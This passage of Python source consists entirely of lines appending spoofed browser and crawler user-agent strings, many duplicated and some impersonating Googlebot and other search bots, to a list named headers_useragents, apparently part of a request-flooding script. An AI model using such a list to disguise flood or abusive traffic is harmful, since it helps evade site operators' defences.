  1577.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1578.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1579.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  1580.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  1581.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  1582.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  1583.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1584.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  1585.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1586.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  1587.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  1588.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  1589.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  1590.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  1591.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  1592.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  1593.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  1594.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  1595.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  1596.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  1597.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  1598.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  1599.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1600.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  1601.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1602.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  1603.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  1604.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  1605.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  1606.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  1607.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  1608.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1609.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  1610.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  1611.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  1612.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  1613.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  1614.     headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620')
  1615.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com')
  1616.     headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)')
  1617.     headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
  1618.     headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
  1619.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  1620.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  1621.     headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)')
  1622.     headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)')
  1623.     headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')
  1624.     headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)')
  1625.     headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)')
  1626.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  1627.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  1628.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  1629.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  1630.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)')
  1631.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  1632.     headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)')
  1633.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
  1634.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)')
  1635.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
  1636.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  1637.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
  1638.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')
  1639.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')
  1640.     headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)')
  1641.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
  1642.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
  1643.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
  1644.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
  1645.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0')
  1646.     headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)')
  1647.     headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)')
  1648.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  1649.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  1650.     headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)')
  1651.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
  1652.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
  1653.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
  1654.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  1655.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  1656.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  1657.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
  1658.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))')
  1659.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  1660.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51')
  1661.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  1662.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
  1663.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
  1664.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
  1665.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
  1666.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1667.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1668.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1669.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1670.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1671.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1672.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1673.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1674.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1675.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1676.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1677.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1678.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1679.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1680.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1681.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1682.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1683.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1684.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1685.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  1686.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1687.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1688.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1689.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1690.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1691.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  1692.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  1693.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  1694.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  1695.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1696.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  1697.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1698.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  1699.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  1700.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  1701.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  1702.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  1703.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  1704.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  1705.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  1706.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  1707.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  1708.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  1709.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  1710.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  1711.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1712.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  1713.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1714.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  1715.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  1716.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  1717.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  1718.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  1719.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  1720.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1721.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  1722.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  1723.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  1724.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  1725.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  1726.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  1727.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  1728.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  1729.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  1730.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  1731.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  1732.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  1733.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  1734.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  1735.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  1736.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  1737.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  1738.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  1739.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  1740.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  1741.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  1742.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  1743.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  1744.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  1745.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  1746.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1747.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1748.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1749.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1750.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1751.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1752.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1753.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1754.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1755.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1756.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1757.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1758.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  1759.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  1760.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  1761.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1762.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  1763.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1764.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1765.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1766.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1767.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1768.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1769.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1770.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1771.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
